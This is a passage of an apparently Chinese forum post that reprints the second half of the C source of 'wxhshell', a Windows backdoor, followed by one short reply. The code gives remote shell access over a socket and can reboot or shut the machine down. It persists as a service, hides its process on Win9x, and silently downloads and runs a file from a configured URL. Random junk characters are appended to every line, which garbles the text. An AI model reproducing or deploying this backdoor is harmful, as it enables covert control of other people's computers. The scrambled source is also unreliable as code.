  @yU!sE:  
  // 帮助 h}anTFKP  
  case '?': { w-0O j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t6<sNz F&  
    break; /XWPN(JC?  
  } Ie^Dn!0S  
  // 安装 W%cj39$  
  case 'i': { rj2r#{[  
    if(Install()) LH3N}J({  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%o+1 <=  
    else c:?#zX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %vf2||a$BS  
    break; v GR \GFm  
    } 6mI_Q2  
  // 卸载 |l6<GWG+  
  case 'r': { O]Ry3j  
    if(Uninstall()) 5O;a/q8"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%3 r-U=  
    else F$6])F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dPH! V6r  
    break; u/!mN2{Rd  
    } ~`G;=ITo  
  // 显示 wxhshell 所在路径 K\^&_#MG  
  case 'p': { /c_kj2& ]9  
    char svExeFile[MAX_PATH]; XvA0nEi  
    strcpy(svExeFile,"\n\r"); &{%S0\K Y  
      strcat(svExeFile,ExeFile); DK@w^ZW6JA  
        send(wsh,svExeFile,strlen(svExeFile),0); e~t}z_>F  
    break; :"<B@Z  
    } 6PzN>+t^y  
  // 重启 gq/ePSa  
  case 'b': { ,IT)zCpaBP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }> !"SU:d  
    if(Boot(REBOOT)) 8aZey_Hw;+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r7Q:l ?F2  
    else { -_{C+Y_  
    closesocket(wsh); l $p_])x  
    ExitThread(0); 7?Qt2tr  
    } h87L8qh9  
    break; h-2E9Z  
    } OU)p)Y_z  
  // 关机 L6rs9su=7  
  case 'd': { {x&jh|f`g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *&hXJJ[+  
    if(Boot(SHUTDOWN)) 7G>0,'XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~P]HG;$?n  
    else { -h G 9  
    closesocket(wsh); F)E7(Un`8  
    ExitThread(0); Cb@S </b  
    } ohc/.5Kl  
    break; S0Bl?XsD_  
    } _ntW}})K  
  // 获取shell < ;%q  
  case 's': { !0. 5  
    CmdShell(wsh); pzt Zb  
    closesocket(wsh); * 0&i'0>  
    ExitThread(0); PFDWC3<  
    break; w}bEufU+2  
  } @KW+?maW  
  // 退出 ?9('o\N:  
  case 'x': { /K1$_   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l9ifUh e  
    CloseIt(wsh); D25gg  
    break; :d% -,v  
    } M[ ~2,M&H  
  // 离开 . ~A"Wyu\  
  case 'q': { RZV1:hNN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Snq75Q<   
    closesocket(wsh); )HzITsFZKT  
    WSACleanup(); ek{PA!9Sk  
    exit(1); #o r7T^  
    break; f<> YYeY  
        } Xg!|F[i  
  } $ vw}p.  
  } ,a]~hNR*X  
g]iy-,e  
  // 提示信息 Y%CL@G60  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>1Y="B  
} u'~b<@wHB  
  } >uPde5"ZF-  
J%Z)#  
  return; y`B!6p 5j  
} 4na4Jsq{  
#o"HD6e  
// shell模块句柄 TJw.e/  
int CmdShell(SOCKET sock) >nIcF m  
{ L1Cn  
STARTUPINFO si; +{Jf]"KD  
ZeroMemory(&si,sizeof(si)); tls6rto  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "PX3%II  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XM@-Y&c$A  
PROCESS_INFORMATION ProcessInfo; .f92^lu9  
char cmdline[]="cmd"; }_kI>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5k%N<e` `  
  return 0; m"|(w`n]E+  
} 2`FsG/o\T~  
d T,m{[+  
// 自身启动模式 S~a:1 _Wl  
int StartFromService(void) P"PeL B9K  
{ 6dS1\Y  
typedef struct #`#aSqGmc  
{ dW^_tzfF7  
  DWORD ExitStatus; oIL+@}u7  
  DWORD PebBaseAddress; qiKtR  
  DWORD AffinityMask; A6x_!  
  DWORD BasePriority; ^`>Ysc(@&  
  ULONG UniqueProcessId; zWmo OnK  
  ULONG InheritedFromUniqueProcessId; w`#0 Y9O  
}   PROCESS_BASIC_INFORMATION; m/F(h-?  
v$Y1+Ep9  
PROCNTQSIP NtQueryInformationProcess; !K^kKP*l  
NX{-D}1X=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hj4w i|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3_B1iAv  
%]sEt{  
  HANDLE             hProcess; ]BQWA  
  PROCESS_BASIC_INFORMATION pbi; hPXVPLm7I  
a9EI7pnq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *~<]|H5~  
  if(NULL == hInst ) return 0; 7@y!R   
~ %YTJS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); komxot[[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6$vh qg}f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D)~nAkVq  
HAUTCX  
  if (!NtQueryInformationProcess) return 0; "1`i]Y\'  
M Xt +  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]S2[eS  
  if(!hProcess) return 0; g@6X|W5,J  
wR<QeH'V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :-W CW);N  
Jgv>$u  
  CloseHandle(hProcess); `~+a=Q  
O7'^*"S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BM$tywC  
if(hProcess==NULL) return 0; |XdrO  
#z^1)7  
HMODULE hMod; xE-`Bb  
char procName[255]; 6k=Wt7C  
unsigned long cbNeeded; ,;e-37^0l  
GoVPo'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [[r3fEr$!p  
j!_^5d#d  
  CloseHandle(hProcess); *(q8?x0>  
 q>.t~  
if(strstr(procName,"services")) return 1; // 以服务启动 TYS\:ZdXF  
HYYx*CJ)  
  return 0; // 注册表启动 bvu<IXX=2  
} K84cE  
H6CGc0NS+  
// 主模块 qH$rvD!]  
int StartWxhshell(LPSTR lpCmdLine) : )"jh`  
{ .L{+O6*c  
  SOCKET wsl; nIKT w  
BOOL val=TRUE; dVtLYx  
  int port=0; M^Ay,jK!  
  struct sockaddr_in door; 2l/5i]Tq  
Sfa m=.l  
  if(wscfg.ws_autoins) Install(); C\ >Mt  
3k[<4-  
port=atoi(lpCmdLine); -5_xI)i  
<9.7gwzE  
if(port<=0) port=wscfg.ws_port; +:Q/<^Z  
1;~1U9V  
  WSADATA data; M j%|'dZz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MG5Sn*(C  
W]Tt8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XoQk'7"f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QRh4f\fY  
  door.sin_family = AF_INET; nMdN$E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e}yu<~v_  
  door.sin_port = htons(port); }xlmsOHuI  
 D6!+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _3G)S+ 7#  
closesocket(wsl); Odjd`DD1  
return 1; Bsk2&17z  
} o^"3C1j  
0?;Hmq3  
  if(listen(wsl,2) == INVALID_SOCKET) { [T#a1!  
closesocket(wsl); xI\s9_"Qy  
return 1; Y^m=_*1g5  
} d47:2Zj  
  Wxhshell(wsl); +C;#Qf  
  WSACleanup(); svRaU7<UDN  
R$&&kmJ  
return 0; _@;3$eB  
XoiYtx53  
} /F}\V ^  
?CZD^>6  
// 以NT服务方式启动 : It W|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2bxMIr  
{ H;Qn?^  
DWORD   status = 0; uW'4 Kt  
  DWORD   specificError = 0xfffffff; QuRg(K%:  
^(JbJ@m/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GfPz^F=ie.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N4DDH^h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lR2;g:&H  
  serviceStatus.dwWin32ExitCode     = 0; W3/Stt$D  
  serviceStatus.dwServiceSpecificExitCode = 0; U5$DJ5>8  
  serviceStatus.dwCheckPoint       = 0; K2 K6  
  serviceStatus.dwWaitHint       = 0; 4_0/]:~5  
Ns= b&Uyc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ .uaO  
  if (hServiceStatusHandle==0) return; ZBq*<VtV  
s1$#G!'  
status = GetLastError(); Cj9O [  
  if (status!=NO_ERROR) iT9Ex9RL  
{ (Tb0PzA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |ylTy B  
    serviceStatus.dwCheckPoint       = 0; dq/?&X  
    serviceStatus.dwWaitHint       = 0; 5@A=, GPUn  
    serviceStatus.dwWin32ExitCode     = status; Q~!hr0 ZR  
    serviceStatus.dwServiceSpecificExitCode = specificError;  `e=n( D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `'.x*MNF  
    return; gH55c aF<  
  } 'J0s%m|j  
hg=G//  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0F'UFn>{  
  serviceStatus.dwCheckPoint       = 0; rAw1g,&  
  serviceStatus.dwWaitHint       = 0; _`[6jhNa!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #$B,8LFz,$  
} yzR=:0J  
Kf^F#dA  
// 处理NT服务事件,比如:启动、停止 ZDJWd=E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KY&,(z   
{ W@C tFU9  
switch(fdwControl) >Io7h#[u  
{ xxcDd_z  
case SERVICE_CONTROL_STOP: QF "&~  
  serviceStatus.dwWin32ExitCode = 0; HMd)64(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cP=mJ1  
  serviceStatus.dwCheckPoint   = 0; wSF#;lqd  
  serviceStatus.dwWaitHint     = 0; j6(IF5MqP  
  { (jFE{M$-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0BE^qe  
  } c} ET#2,  
  return; cNc _ n<M  
case SERVICE_CONTROL_PAUSE: )K3 vzX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j|dzd<kE6  
  break; IqKXFORiNI  
case SERVICE_CONTROL_CONTINUE: pv SFp-:_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o`! :Q!+  
  break; Cfb-:e$0  
case SERVICE_CONTROL_INTERROGATE: ; 2-kQK9  
  break; Q&Ahr  
}; rL3Vogw'e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (gB=!1/|G  
} !Qa7-  
lD#1"$Coz  
// 标准应用程序主函数 i3j jPN!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n(S-F g  
{ T-i]O*u  
Q9zpX{JT  
// 获取操作系统版本 %,D%Q~  
OsIsNt=GetOsVer(); H,` XCG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `~TGVa`D  
tah%jRfT&  
  // 从命令行安装 =Fl4tY#X  
  if(strpbrk(lpCmdLine,"iI")) Install(); wh+ibH}@!  
6ng g*kE<  
  // 下载执行文件 j&GKpt  
if(wscfg.ws_downexe) { K): sq{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bl-s0Ax-  
  WinExec(wscfg.ws_filenam,SW_HIDE); jk}PucV  
} &bu`\|V  
`.WKU"To  
if(!OsIsNt) { o e"ShhT  
// 如果时win9x,隐藏进程并且设置为注册表启动 4\es@2q  
HideProc(); /loN Outw  
StartWxhshell(lpCmdLine); Bd[Gsns  
} 1V?)zp  
else a Z, Wa-k  
  if(StartFromService()) 0EU4irMa  
  // 以服务方式启动 (OJ9@_fgG[  
  StartServiceCtrlDispatcher(DispatchTable); V@-GQP1  
else ~J:lC u  
  // 普通方式启动 K L~sEli  
  StartWxhshell(lpCmdLine); P~Owvs/=  
kcUt!PL  
return 0; Te#[+B?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五